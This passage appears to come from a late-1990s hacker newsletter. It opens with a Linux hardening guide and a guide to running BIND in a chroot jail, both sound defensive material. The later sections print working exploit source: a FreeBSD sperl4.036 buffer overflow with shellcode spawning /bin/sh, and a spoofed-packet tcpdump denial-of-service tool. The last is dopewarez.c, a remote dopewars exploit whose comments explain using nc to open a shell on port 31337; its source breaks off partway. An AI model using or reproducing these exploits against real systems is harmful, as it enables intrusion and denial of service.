      the beginning, OS installation. Since this is a production system, you 
      cannot trust any previous installations. You want to start with a clean 
      installation, where you can guarantee the system integrity. Place your 
      system in an isolated network. At no time do you want to connect this box 
      to an active network nor the Internet, exposing the system to a possible 
      compromise. I personally witnessed a system hacked by a script kiddie 
      within 15 minutes of connecting to the Internet.  To get critical files 
      and patches later, you will need a second box that acts as a go between. 
      This second box will download files from the Internet, then connect to 
      your isolated, configuration "network" to transfer critical files. 

      Once you have placed your future Linux box in an isolated network, you are 
      ready to begin. The first step is selecting what OS package to load. The 
      idea is to load the minimum installation, while maintaining maximum 
      efficiency.  Chose the installation that suits       your needs, but 
      deselect package you will not be using.  The less software that resides on 
      the box, the fewer potential security exploits or holes.  This means if 
      you do not need the News or Real Audio Server, don't install it.  The nice 
      thing about Linux is it is easy to add packages later.  Regardless of 
      which installation you choose, I would add the manual pages and HOWTO 
      docs.  I find the on-line man pages and docs to be a critical resource 
      that add little risk to your system. 

      During the installation process, you will be asked to partition your 
      system.  I always like to make root as big as possible and just throw 
      everything in there, then you do not run out of room in the future.  
      However, we do need several partitions to protect the root       drive.  
      If we were to fill the root partition with data, such as logging or email, 
      we would cause a denial of service, potentially crashing the system. 

      Therefore, I always recommend a separate partition for /var, this is where 
      all the system logging and email goes.  By isolating the /var partition, 
      you protect your root partition from overfilling.   I've found 400 MB to 
      be more then enough for /var.  You may also       consider making a 
      separate partition for specific application purposes, especially 
      applications that store extensive logging.  With such a setup, your 
      partitions would look as follows: 

      /        - everything else      
      /var     - 200 MB swap     - (max 127 MB of RAM) 

      
      Once the system has rebooted after the installation, be sure to install 
      the recommend security patches. For Red Hat, you can find these security 
      patches at http://www.redhat.com/support.  An excellent example of this is 
      the security update for wu-ftpd  Without these patches, your system can be 
      easily compromised.  Be sure to use your go between box to get the 
      patches, the Linux box should always remain on an isolated network. 
      Patches are critical to armoring a system and should always be updated. 
      BUGTRAQ@netspace.org is an excellent source for following bugs and system 
      patches. For Red Hat, once you download the rpm, you can easily update 
      your system using the following syntax. 

      rpm -Uvh wu-ftpd-2.4.2b18-2.1.i386.rpm 

      For systems that are already on-line, you can ftp the rpm and install it 
      at the same time, using the following syntax. 

      rpm -Uvh ftp://updates.redhat.com/5.2/i386/wu-ftpd-2.4.2b18-2.1.i386.rpm 

      Eliminating Services 
      Once you have loaded the installation package, patches, and rebooted, we 
      are now ready to armor the operating system. Armoring consists mainly of 
      turning off services, adding logging, tweaking several files, and 
      configuring TCP Wrappers. First we will begin with turning off services. 

      By default, Linux is a powerful operating system that executes many useful 
      services. However, most of these services are unneeded and pose a 
      potential security risk. The first place to start is /etc/inetd.conf. This 
      file specifies which services the /usr/sbin/inetd       daemon will listen 
      for. By default, /etc/inetd.conf is configured for a variety of services, 
      you most likely only need two, ftp and telnet. You eliminate the remaining 
      unnecessary services by commenting them out (example A).  This is 
      critical, as many of the services run by inetd pose serious security 
      threats, such as popd, imapd, and rsh.  Confirm what you have commented 
      out with the following command (this will show you all the services that 
      were left uncommented) 

       grep -v "^#" /etc/inetd.conf 

      The next place to start are the .rc scripts, these scripts determine what 
      services are started by the init process. For Red Hat, you will find these 
      scripts in /etc/rc.d/rc3.d.  To stop a script from starting, replace the 
      capital S with a small s. That way you can easily       start the script 
      again just by replacing the small s with a capital S. Or, if you prefer, 
      Red Hat comes with a great utility for turning off these services.  Just 
      type "/usr/sbin/setup" at the command prompt, and select "System 
      Services", from there you can select what scripts are started during the 
      boot up process.  Another option is chkconfig, which you will find on most 
      distributions.  The following startup scripts may be installed by default 
      but are not critical to system functioning.  If you don't need them, turn 
      these scripts off.  The numbers in the names determine the sequence of 
      initialization, they may vary based on your distribution and version. 

      S05apmd (You only need this script for laptops)  
      S10xntpd (Network time protocol)
      S15sound 
      S20bootparamd (Used for diskless clients, you  probably don't need this 
                     vulnerable service) 
      S20nfs (Use for NFS server, do not run unless you absolutely have to). S
      20rusersd (Try to avoid running any r services, they provide too much 
                 information to remote users). 
      S20rwalld 
      S20rwhod 
      S25innd (News server) 
      S25squid (Proxy server) 
      S30sendmail (You can still send email if you turn this script off, you 
                   just will not be able to receive or relay). 
      S30ypbind  (Required if you are a NIS client) 
      S34yppasswdd (Required if you are a NIS server, this is an extremely 
                    vulnerable service) 
      S35dhcpd 
      S35ypserv (Required if you are a NIS server, this is an extremely
                 vulnerable service) 
      S40portmap (This startup script is required if you have any rpc services,
                  such as NIS or NFS) 
      S40snmpd (SNMP daemon, can give remote users detailed information 
                about your system) 
      S55routed (RIP, don't run this unless you REALLY need it) 
      S55named (DNS server.  If you are setting up DNS, upgrade to Bind 8.2,  
                http://www.isc.org/bind.html) 
      S60atd (Used for the at service, similar to cron, by not required by
              the system) 
      S60lpd (Printing services) 
      S72amd (AutoMount daemon, used to mount remote file systems) 
      S75gated (used to run other routing protocols, such as OSPF) 
      s85httpd (Apache webserver, I recommend you remove the installed version
               and upgrade to the latest version, http://www.apache.org) 
      S95nfsfs (This is the nfs client, used for mounting filesystems from a 
               nfs server) 
      S95pcmcia (You only need this script for laptops) 
      
      To see how many services are running before you change the startup 
      scripts, type 
      
      ps aux | wc - l 
      
      Once you are done with the installation and have turned off the startup 
      scripts, type the command again and compare how the number of services 
      have decreased. The fewer services running, the better. 
      
      Logging and Tweaking 
      Once you have eliminated as many services as possible, we want to enable
      logging. All system logging occurs in /var/log.   By default, Linux has 
      excellent logging, except for ftp.  You have two options for logging for
      ftp, configure /etc/ftpaccess file or edit
      /etc/inetd.conf.  I prefer to edit /etc/inetd.conf, as it is simpler 
      (i.e. harder to mess up :).  Edit /etc/inetd.conf as follows to ensure 
      full logging of all FTP sessions. 
      
      ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  in.ftpd -l -L -i -o 
      
      --- From the man pages --- 
      
      If the -l option is specified, each ftp session is logged in the syslog 
      If the -L flag is used, command logging will be on by default as soon as
      the ftp server is invoked.  This will cause  the  server  to log all USER
      ommands, which if a user accidentally enters a password for that command 
      instead of the username, will cause passwords to be logged via syslog. 
      If the -i option is specified, files received by the ftpd(8) server will
      be logged to the xferlog(5). If the -o option is specified, files 
      transmitted by the ftpd(8) server will be logged to the xferlog(5). 
      
      --- snip snip --- 
        
      
      Next comes tweaking. This involves various file administration. The first 
      thing we want to do is create the file /etc/issue. This file is an ASCII 
      text banner that appears for all telnet logins (example B). This legal 
      warning will appear whenever someone attempts to login to your system. If 
      you want to continue using the same /etc/issue file, you will have to 
      modify /etc/rc.d/rc3.d/S99local.  By default, Linux creates a new 
      /etc/issue file on every reboot. 

      We want to do two things to secure our /etc/passwd file (this is the 
      database file that holds your user accounts and passwords).  First, we 
      want to convert our system to use /etc/shadow, this securely stores 
      everyone's password in a file only root can access.       This protects 
      your passwords from being easily accessed and cracked (one of the first 
      exploits a hacker looks for).  All you have to do is type the following 
      command as root.  This automatically  converts your encrypted passwords to 
      the /etc/shadow file. Of all the actions you can take to secure your 
      system, I consider this to be one of the most important. 

      pwconv 

      The second step is to remove most of the default system accounts in 
      /etc/passwd.  Linux provides these accounts for various system activities 
      which you may not need.  If you do not need the accounts, remove them.  
      The more accounts you have, the easier it is       to access your system.  
      An example is the "news" account.  If you are not running nntp, a news 
      group server, you do not need the account (be sure to update 
      /etc/cron.hourly, as this looks for the user "news"). Also, make sure you 
      remove the "ftp" account, as this is the account used for anonymous ftp.  
      From the man pages. 

      man ftpd: 

             Ftpd authenticates users according to four rules. 

             4)     If  the  user name is ``anonymous'' or ``ftp'', an anonymous 
             ftp account must be pre-sent in the password file (user ``ftp'').  
             In this case the user is allowed to log in by       specifying any 
             password (by convention this is given as the client host's name). 

      For an example of my /etc/passwd file, check out example C. 

      
      We also want to modify the file /etc/ftpusers (example D). Any account 
      listed in this file cannot ftp to the system. This restricts common system 
      accounts, such as root or bin, from attempting ftp sessions. Linux has the 
      file by default.  Ensure that root stays in this file, you never want root 
      to be able to ftp to this system.  Ensure that any accounts that need to 
      ftp to the box are NOT in the file /etc/ftpusers. 

      Also, ensure that root cannot telnet to the system. This forces users to 
      login to the system as themselves and then su to root. The file 
      /etc/securetty lists what ttys root can connect to.  List only tty1, tty2, 
      etc in this file, this restricts root logins to local access only.       
      ttyp1, ttyp2, are pyseudo terminals, they allow root to telnet to the 
      system remotely (example E). 

      
      TCP Wrappers 
      TCP Wrappers are a must, no armored system should be without it. Created 
      by Wietse Venema, TCP Wrappers are a binary that wraps itself around inetd 
      services, such as telnet or ftp. With TCP Wrappers, the system launches 
      the wrapper for inetd connections, which logs all attempts and verifies 
      the attempt against a access control list. If the connection is permitted, 
      TCP Wrappers hands the connection to the proper binary, such as telnet. If 
      the connection is rejected by the access control list, then the connection 
      is dropped.  Fortunately for us Linux users, TCP Wrappers is already 
      installed, the only thing left for us to do is edit the /etc/hosts.allow 
      and /etc/hosts.deny file.  These files determine who can and cannot access 
      our systems.  Also, TCP Wrappers allows us to do fancy things, such as 
      banners or spawn additional programs, such as safe_finger.  The syntax is 
      relatively simple.  Put the IP address or networks in /etc/hosts.allow 
      that you want to permit connections from.  Put IP addresses or networks in 
      /etc/hosts.deny that you do not want to permit access.  By default, Linux 
      allows connections from everyone, so you will need to modify these files.  
      2 recommendations when working with TCP Wrappers. 

         1.Use IP addresses and networks instead of domain names.          2.Set 
         up /etc/hosts.deny to deny everything (ALL), then permit only specific 
         sites with /etc/hosts.allow. 

      For examples on how to setup /etc/hosts.allow and /etc/hosts.deny, see 
      example F. 

        

      For the Truly Paranoid       I consider the measures discussed above 
      absolutely essential.  By following these steps, you have greatly improved 
      your system's security, congratulations!  Unfortunately, your system is 
      not 100% secure, nor will it ever be.  So, for the truly paranoid, I have 
      added some additional steps you can take. 

      First we will create the wheel group.  The wheel group is a group of 
      select individuals that can execute powerful commands, such as /bin/su. By 
      limiting the people that can access these commands, you enhance the system 
      security.  To create the group, vi the file       /etc/group, create the 
      group wheel, and add the system admins to the group.  Then identify 
      critical system binaries, such as /bin/su.  Change the group ownership to 
      wheel, and the permissions to owner and group executable only (be sure to 
      maintain the suid or guid bit for specific binaries).  For /bin/su, the 
      commands would be: 

      /bin/chgrp wheel /bin/su       /bin/chmod 4750 /bin/su 

      Second, we will lock down the files .rhosts, .netrc, and /etc/hosts.equiv.  
      The r commands use these files to access systems.  To lock them down, 
      touch the files, then change the permissions to zero, locking them down. 
      This way no one can create or alter the       files. For example, 

      /bin/touch /.rhosts /.netrc /etc/hosts.equiv       /bin/chmod 0 /.rhosts 
      /.netrc /etc/hosts.equiv 

      Third, we make some modifications to PAM.  PAM (Pluggable Authentication 
      Modules) is a suite of shared libraries that enable you to choose how 
      applications authenticate users.  To learn more about PAM, check out       
      ftp://ftp.us.kernel.org/pub/linux/libs/pam/Linux-PAM-html/pam.html.  There 
      are a variety of tweaks that you can make to your system.  Here is an 
      example of how to convert your encrypted passwords to use MD5, making your 
      /etc/shadow file far more difficult to crack. 

      Go to /etc/pam.d directory, where you will find all the configuration 
      files for different binaries that require authentication.  Most of the 
      configuration files will have the following entry.       password   
      required     /lib/security/pam_pwdb.so nullok use_authtok 

      All you need to do is find all the configuration files that have this 
      entry, and add "md5" to the end, so it looks like this. 
      password   required     /lib/security/pam_pwdb.so nullok use_authtok md5 
      
      For my RedHat 5.1 system, I had to edit this line in the following 
      configuration files in /etc/pam.d 
      chfn 
      chsh 
      login 
      passwd 
      rlogin 
      su 
      xdm 
      
      Last thing we can do is protect our system from physical access.  This 
      mainly consists of setting up a password for our BIOS.  Also, you can 
      password protect your system during boot-up by configuring /etc/lilo.conf 
      with a password (password=xxx)  where xxx is your password.  However, keep 
      in mind, once someone has physical access to your system, this is no 
      guaranteed way to protect it. 

      
      Conclusion We have covered some of the more basic steps involved in 
      armoring a Linux box (Red Hat distribution). The key to a secure system is 
      having the minimal software installed, with protection in layers, such as 
      TCP Wrappers. There are many additional steps that can be taken, such as 
      ipchains (firewall software), ssh (encrypted rlogin, rcp, and telnet), 
      tripwire (monitor changes in system binaries), and swatch (automated log 
      monitoring and alerts). Remember, no system is truly 100% secure. However, 
      with the steps outlined above, you greatly reduce the security risks. 

      
      Author's bio 
            
      Lance Spitzner enjoys learning by blowing up his Unix systems at home.
      Before this, he was an Officer in the Rapid Deployment Force, where he 
      blew up things of a different nature. You can reach him at lance@spitzner.net . 
        
        
      @HWA

  
64.0  Securing DNS (Linux version)
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
            
      There have been a large number of problems with  BIND  because of the size 
      and complexity of the functions it performs. As a result, a number of  
      attacks  (and  here ) are beginning to emerge that target this service 
      specifically, some of which can allow full remote access to the target 
      host. Because systems running DNS servers are so critical to the network 
      infrastructure, it is vital that these systems do not get compromised.  

      To further this, I've prepared this short document that describes how to 
      set up your BIND 8.x server in a chroot() environment under  RedHat Linux 
      (but should apply to others as well). This document is largely inspired by 
      my friend Adam Shostack and his       paper on the identical subject 
      matter (which covers Solaris). Please read his paper (and check out his 
      entire page which contains good reading) after you've been here.  

      NOTE:  This is a living document and I expect changes and small errors to 
      be discovered over time. My DNS server is very small and handles a limited 
      number of zones and traffic. It is quite possible that the information I 
      supply here does not work for       larger sites. If this is your case 
      please write me and tell me what is broken so I can change it here!  Your 
      input will be given full credit and will help everyone who wishes to 
      contain the beast we call BIND.  

      Linux NOTE: Although I do all my development on RedHat Linux, my 
      WWW/SMTP/DNS server is in fact OpenBSD.  This document was originally 
      written for OpenBSD usage, but was modified to describe the procedure 
      under Linux (which is only slightly       different). Because of this 
      though, I openly admit that I have very little experience running BIND 
      under Linux in a chroot() environment. While I believe the information in 
      this area to be accurate it may in fact vary somewhat from version to 
      version of Linux. If this is the case then please write me and tell me! I 
      would like to make this document as accurate as possible and this can only 
      be done with your help.  

        

      Step One: Get The Software and Install

      Go to the ISC FTP Site and download the latest version of BIND (These 
      directions have only been tested on BIND version 8.x, which is the version 
      you should be running anyway).  

      Install the software per the directions included with the package.  

      Go to Obtuse Systems's  FTP site where you need to download their free 
      program called:  holelogd  (and some other neat utilities). This program 
      allows you to create a /dev/log socket under a chroot environment so 
      syslog will work from named once it has       been contained. OpenBSD's 
      syslogd already has a feature to do this built in ("syslogd -a 
      /chroot/dev/log"), but Linux does not (however it should). This program 
      will emulate this feature in OpenBSD.  

      Install holelogd per the instructions (usually in /usr/local/sbin).  

      
      Step Two: Make static named and named-xfer binaries

      After the build and install you will need to make a statically linked 
      version of the program. This is easily accomplished by going into the 
      directory  /src/port/linux under BIND and editing the file Makefile.set.  

      Change the line:  

      'CDEBUG= -O2 -g'  

      To:  

      'CDEBUG= -O2 -static'  

      Go to the top of the BIND source directory and do a "make clean"  
      followed by a "make". Go onto the next step where you will copy the 
      files to the chroot() directory.  
      
      For the uninitiated, a statically linked program is one that does not
      perform dynamic loading of libraries. For a chroot() environment it means
      that the executable will be "self-contained" and will not cause an error 
      if you are missing a library file. While it is not necessary to have 
      statically linked files in the chroot() environment, it often makes setup
      easier. I prefer to have all network daemons statically linked for this 
      reason.  
        
      
      Step Three: Make a Directory for BIND
      
      Create a directory for BIND to be chroot()ed in. This can be as simple as 
      /chroot/named and will be the "pseudo" root where BIND will reside. The 
      ultra-paranoid may even want to put this chroot jail on a separate physical 
      volume.  
      
      Under this directory you will need to create the following directory structure:  
      
      /dev  
      /etc  
           /namedb  
      /usr  
           /sbin  
      /var  
           /run  
      
      Under each directory you will need to copy the following files and/or perform 
      the following commands:  
      
      /  
           None  
      
      /etc  
           copy named.conf  from /etc  
           copy localtime from /etc (so named logs correct timezone in syslog)  
           create /etc/group file with named GID as the only entry (Thanks Bernhard
           Weisshuhn <bkw@weisshuhn.de>)  
      
      /etc/namedb  
           copy all zone databases and files from /etc/namedb  
      
      /dev  
           mknod ./null c 1 3; chmod 666 null (For other Linux variants, look at 
           /dev/MAKEDEV to get the mknod command)  
      
      /usr/sbin  
               copy statically linked named and named-xfer binary from the BIND 
               src/bin/named and src/bin/named-xfer directories  
      
      /var/run  
           None  
        
      Additionally, Bernhard Weisshuhn <bkw@weisshuhn.de>, writes that if you have 
      custom logging directories specified that you need to be sure to make these 
      as well (/var/log). Although named won't crash, it will complain.  
        
      
      Step Four: Add named user and group
      
      Add the user named to the /etc/passwd and to the /etc/group files. This 
      will be the UID/GID that the server runs under.  

      You should now go to the /chroot/named/var/run directory and make it 
      writable by named so the named.pid file can be written to upon startup. 
      This is used by the ndc command to control named's operation. 

      At this point you may want to go into your chroot named area and chown -R 
      named.named on the /etc/namedb directory. This allows  named to dump cache 
      and statistical information if you send it the proper signal (kill -INT 
      <PID>). This change should not       significantly effect the security of 
      your chroot() setup.  Leaving it owned as root won't allow named to write 
      out this information (remember named now runs under a new UID and no 
      longer root), but still allows named to function. A second option is to 
      change the permissions to allow writing to this directory, but leaving it 
      owned by root. This could also work but you need to be careful with doing 
      so to ensure normal users can't modify your named records!  

      IMPORTANT: ** DO NOT USE AN EXISTING UID/GID to run named under (i.e. 
      "nobody"). It is always a bad idea to use an existing UID/GID under a 
      chroot environment as it can impact the protection offered by the service. 
      Make a separate       UID/GID for every daemon you run under chroot() as a 
      matter of practice.  

      
      Step Five: Edit startup scripts

      Linux uses SYS V style init files and there are several places to put the 
      named commands to run. The cleanest location is in the named init script 
      located in /etc/rc.d/init.d/named. In there you will find a section where 
      named is started. You need to add and       change a couple lines.  

      1) Put in a line before executing named to start up holelogd. holelogd 
         needs to be told where to put the remote socket, this should be your
         chroot named dev directory made above.  It should look something like
         this:  
      
              # Start daemons.  
              echo -n "Staring holelogd: "  
            daemon  /usr/local/sbin/holelogd /chroot/named/dev/log  
            echo  
              echo -n "Starting named: "  
              daemon named  
              echo  
              touch /var/lock/subsys/named  
              ;;  
        
      
      2) You will also need to change the startup flags for BIND. Version 8.x 
         has a feature where you can change the user and group ID after binding.
         This is where you specify your UID/GID you assigned to BIND above:  
        
      
              # Start daemons.  
              echo -n "Staring holelogd: "  
              daemon  /usr/local/sbin/holelogd /chroot/named/dev/log  
              echo  
              echo -n "Starting named: "  
            daemon /chroot/named/usr/sbin/named -u named -g named -t /chroot/named  
              echo  
              touch /var/lock/subsys/named  
              ;;  
      
      3) named ships with a script called "ndc" which is used to control named 
         operations. You will need to edit this file and change the location of
         the variable PIDFILE from /var/run/named.pid to /chroot/named/var/run/named.pid. 
        
      
      Step Six: Test it out
      
      Start up holelogd by typing:  
      
      /usr/local/sbin/holelogd /chroot/named/dev/log  
      
      Go into this directory and ls -al. You should see (the date is insignificant):  
      
      srw-rw-rw- 1 root wheel 0 Jan 01 12:00 log  
      
      The "s" bit is set to indicate that the file is a socket. This is how named 
      will write to syslog from within the chroot() jail.  
      
      Now type:  
      
      /chroot/named/usr/sbin/named -u named -g named -t /chroot/named  
      
      If all goes well named will start and your logs will indicate that named is
      "Ready to answer queries."  
      
      Perform other DNS tests as appropriate to ensure operation, then reboot your
      system and verify the setup. BIND should have started and reported it 
      chroot()ed to to directory and changed UID/GID. You can use a program such
      as  lsof  to list out the owner of all network sockets on the host. The owner
      should be your named UID/GID.  
      
      When everything is working you should either rename /etc/namedb to something 
      like /etc/namedb.orig and chmod 000 /usr/sbin/named to ensure that the old 
      version doesn't get run by mistake. Reboot your system and assuming everything
      is correct your named will now be chroot()ed.  
        
      
      Thanks
      
      Thanks to the following people who made suggestions and submitted corrections:  
      
      Steinar Haug <sthaug@nethelp.no> - Comments concerning blocking of TCP to 
      port 53.  
      
      Bernhard Weisshuhn <bkw@weisshuhn.de> - Comments pertaining to Linux install 
      (typos, adding /etc/group entry).  
      
      Marc Heuse <Marc.Heuse@mail.deuba.com> - Comments pertaining to logging and
      renaming of old binaries and directories.  
      
      Jan Gruber <jgr@tpnet.de> - Comments pertaining to permissions on 
      /chroot/named/var/run and changes to the ndc control script. 

      All Material Copyright ©1996-99 Craig H. Rowland and Psionic Software Systems
      http://www.psionic.com/misc/contact
      Site last updated: 1999/03/24

      @HWA
      
65.0  Exploit for FreeBSD sperl4.036 by OVX
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From http://www.hack.co.za
             
      
      /************************************************************/
      /*   Exploit for FreeBSD sperl4.036 by OVX                  */
      /************************************************************/
      
      #include <stdio.h>
      #include <stdlib.h>
      #include <unistd.h>
      
      #define BUFFER_SIZE     1400
      #define OFFSET          600
      
      char *get_esp(void) {
          asm("movl %esp,%eax");
      }
      char buf[BUFFER_SIZE];
      
      main(int argc, char *argv[])
      {
              int i;
              char execshell[] =
              "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
              "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
              "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
              "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
      
              for(i=0+1;i<BUFFER_SIZE-4;i+=4)
               *(char **)&buf[i] = get_esp() - OFFSET;
      
              memset(buf,0x90,768+1);
              memcpy(&buf[768+1],execshell,strlen(execshell));
      
              buf[BUFFER_SIZE-1]=0;
      
              execl("/usr/bin/sperl4.036", "/usr/bin/sperl4.036", buf, NULL);
      }      
      
666.0  tcpdump bug 3.4a? by BLADI (bladi@euskalnet.net);
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Section 666 there thats as halloweeny as we get - Ed ...
       
       From http://www.hack.co.za
       
      
      /*
       ------------------------------------------------------------------------------
       tcpdump bug 3.4a? by BLADI (bladi@euskalnet.net);
       ---------------->
       On receiving an ip packet with Protocol-4 and ihl=0, tcpdump enters
       an infinite loop within the procedure ip_print() from file print_ip.c
       This happens because the header length (ihl) equals '0' and tcpdump
       tries to print the packet
       ------------------------------------------------------------------------------
       I've tried the bug in diferent OS's
      
       Linux:
              SuSE 6.x:       
                              K2.0.36   tcpdump consumes all the system memory        
                              K2.2.5    in less than a minute and hangs the system
                              K2.2.9    or sometimes gives an error from the bus
                              K2.3.2
                              K2.3.5
              RedHat 5.2:
                              K2.?.?    tcpdump makes a segmentation fault to happen
                       6.0:
                              K2.2.9    and it sometimes does a coredump
                      
                  Debian:
                              K2.2.?    tcpdump makes a segmentation fault to happen
                                   and does a coredump
                              
                 Freebsd:             Segmentation fault & Coredump  Thanks to: wb^3,Cagliostr
                 Solaris:             Segmentation fault & Coredump  Thanks to: acpizer
                       Aix:           ?
                   Hp-UX:             ?
      
       -----------------------------------------------------------------------------
       This tests have been carried out in loopback mode, given that protocol 4
       won't get through the routers. It would be interesting to perform the attack
       remotely in an intranet. But i do not have access to one.
       ------------------------------------------------------------------------------
      
       Thanks to:
       the channels:
       #ayuda_irc, #dune, #linux, #networking, #nova y #seguridad_informática.
       from irc.irc-hispano.org
      
       Special thanks go to:
       Topo[lb], ^Goku^, Yogurcito, Pixie, Void, S|r_|ce, JiJ79, Unscared etc...
      
       Thanks to Piotr Wilkin for the rip base code ;)
       And big thanks go to TeMpEsT for this translation.
       
       ------------------------------------------------------------------------------
       I've found two ways of solving the problem
       Solution 1
      
       execute:    tcpdump -s 24
      
       Solution 2  Apply this little patch.
      
      diff -r -p /tcpdump-3.4a6/tcpdump-3.4a6/print-ip.c /tcpdump-3.4a7/tcpdump-3.4a6/print-ip.c
      *** /tcpdump-3.4a6/tcpdump-3.4a6/print-ip.c     Wed May 28 21:51:45 1997
      --- /tcpdump-3.4a7/tcpdump-3.4a6/print-ip.c     Tue Oct 27 05:35:27 1998
      *************** ip_print(register const u_char *bp, regi
      *** 440,446 ****
                                      (void)printf("%s > %s: ",
                                                   ipaddr_string(&ip->ip_src),
                                                   ipaddr_string(&ip->ip_dst));
      -                       ip_print(cp, len);
                              if (! vflag) {
                                      printf(" (ipip)");
                                      return;
      --- 440,445 ----
                                                                                                                                                                                                                      
      */
      
      #include <stdio.h>
      #include <stdlib.h>
      #include <sys/types.h>
      #include <sys/socket.h>
      #include <netinet/in.h>
      #include <netinet/ip.h>
      #include <netinet/ip_icmp.h>
      #include <arpa/inet.h>
      #include <errno.h>
      #include <netdb.h>
      struct icmp_hdr
           {
                struct iphdr iph;
                char text[15];
           }
          encaps;
      int in_cksum(int *ptr, int nbytes)
           {
                 long sum;
                 u_short oddbyte, answer;
                 sum = 0;
                 while (nbytes > 1)
                         {
                          sum += *ptr++;
                          nbytes -= 2;
                         }
                 if (nbytes == 1)
                         {
                          oddbyte = 0;
                          *((u_char *)&oddbyte) = *(u_char *)ptr;
                          sum += oddbyte;
                         }
                 sum = (sum >> 16) + (sum & 0xffff);
                 sum += (sum >> 16);
                 answer = ~sum;
                 return(answer);
           }
      struct sockaddr_in sock_open(int socket, char *address,int prt)
           {
              struct hostent *host;
              struct sockaddr_in sin; 
      
              if ((host = gethostbyname(address)) == NULL)
                   {
                        perror("Unable to get host name");
                        exit(-1);
                   }
              bzero((char *)&sin, sizeof(sin));
      
              sin.sin_family = PF_INET;
              sin.sin_port = htons(prt);
              bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
              return(sin);
           }
      
      void main(int argc, char **argv)
           {
              int sock, i,k;
              int on = 1;
              struct sockaddr_in addrs;
              printf("\t\tTCPDumper Ver 0.2 \n\t\t\tBy Bladi\n");
              if (argc < 3)
                      {
                        printf("Uso: %s <ip_spoof> <dest_ip> \n", argv[0]);
                        exit(-1);
                      }
              encaps.text[0]=66; encaps.text[1]=76; encaps.text[2]=65; encaps.text[3]=68;
              encaps.text[4]=73; encaps.text[5]=32; encaps.text[6]=84; encaps.text[7]=90;
              encaps.text[8]=32; encaps.text[9]=84; encaps.text[10]=79;encaps.text[11]=32;        encaps.text[12]=84;encaps.text[13]=79;encaps.text[14]=80;encaps.text[15]=79;        
              sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
              if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
                      {
                          perror("Can't set IP_HDRINCL option on socket");
                      }
              if (sock < 0)
                      {
                          exit(-1);
                      }
              fflush(stdout);
              addrs = sock_open(sock, argv[2], random() % 255);
                          encaps.iph.version   = 0;
                          encaps.iph.ihl       = 0;
                          encaps.iph.frag_off  = htons(0);
                          encaps.iph.id        = htons(0x001);
                          encaps.iph.protocol  = 4;
                          encaps.iph.ttl       = 146;
                          encaps.iph.tot_len   = 6574;
                          encaps.iph.daddr     = addrs.sin_addr.s_addr;
                          encaps.iph.saddr     = inet_addr(argv[1]);
                          printf ("\t DuMpInG %s ---> %s \n",argv[1],argv[2]);
                          if (sendto(sock, &encaps, 1204, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1)
                                  {
                                    if (errno != ENOBUFS) printf("Error :(\n");
                                  }
                          fflush(stdout);
              close(sock);
      }
      
      
67.0  dopewarez.c exploit for Dopewars
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~      
      
      http://packetstorm.securify.com
      
      
      
      /*
       * dopewarez.c - Exploit for dopewars-1.4.4 client/server. Produces a shell.
       *
       * URL: http://bellatrix.pcl.ox.ac.uk/~ben/dopewars/
       *
       * C0de by nuuB [Sep 25, 1999]. Linux version.
       *
       * 0wn a server:
       *
       *  (dopewarez [<offset>] | nc <server> 7902)& ; sleep 5 ; nc <server> 31337
       *
       * 0wn a client using a bogus server:
       *
       *  (dopewarez 2285 | nc -l -p 7902) & ; wait4client ; nc <client> 31337
       *
       * Overflow occurs in ProcessMessage().
       */
      
      #include <stdio.h>
      #include <string.h>
      #include <stdlib.h>
      #include <netinet/in.h>
      
      #define EGGSIZE       598
      #define EIP_OFFSET    208
      #define FIRST_OFFSET  236
      
      #define WRD_STACK_OFFSET 0x0bb0           /* approximate for server */
      
      #define OWNED_FIRST  0xbffffffc-132   /* 132 = offset for Player->next */
      
      #define C0DE_SIZE    213
      
      char c0de[]="\xbc\xfc\xff\xff\xbf\xeb\x02\xeb\x0c\xe8\xf9\xff\xff\xff\x2f\x62"
                  "\x69\x6e\x2f\x73\x68\x5d\x31\xc0\x89\xc3\x89\xc1\xb0\x46\xcd\x80"
                  "\x31\xc9\x51\x41\x51\x41\x51\x89\xe1\x31\xdb\x43\x31\xc0\x04\x66"
                  "\xcd\x80\x8d\x64\x24\x0c\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\x7a"
                  "\x69\x04\x02\x66\x50\x89\xe3\x31\xc0\x04\x10\x50\x53\x57\x89\xe1"
                  "\x31\xdb\xb3\x02\x31\xc0\x04\x66\xcd\x80\x85\xc0\x75\x6f\x8d\x64"
                  "\x24\x1c\x31\xc0\x50\x57\x89\xe1\x31\xdb\xb3\x04\x31\xc0\x04\x66"
                  "\xcd\x80\x8d\x64\x24\x08\x31\xc0\x04\x10\x50\x89\xe3\x8d\x64\x24"
                  "\xf0\x89\xe1\x53\x51\x57\x89\xe1\x31\xdb\xb3\x05\x31\xc0\x04\x66"
                  "\xcd\x80\x8d\x64\x24\x20\x89\xc7\x89\xfb\x31\xc9\xb0\x3f\xcd\x80"
                  "\x89\xfb\x31\xc9\x41\xb0\x3f\xcd\x80\x89\xfb\x31\xc9\x80\xc1\x02"
                  "\xb0\x3f\xcd\x80\x31\xc0\x88\x45\x07\x89\x6d\x08\x89\x45\x0c\x8d"
                  "\x55\x0c\x8d\x4d\x08\x89\xeb\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31"
                  "\xc0\xb0\x01\xcd\x80";
      
      char egg[EGGSIZE+1];
      
      void bail(char *s) { puts(s); exit(1); }
      
      char *htol_LEstr(unsigned long num) {
        static unsigned char buf[5];
        unsigned long n;
      
        n=htonl(num);
        buf[0]=(n>>24)&0xff;
        buf[1]=(n>>16)&0xff;
        buf[2]=(n>>8)&0xff;
        buf[3]=n&0xff;
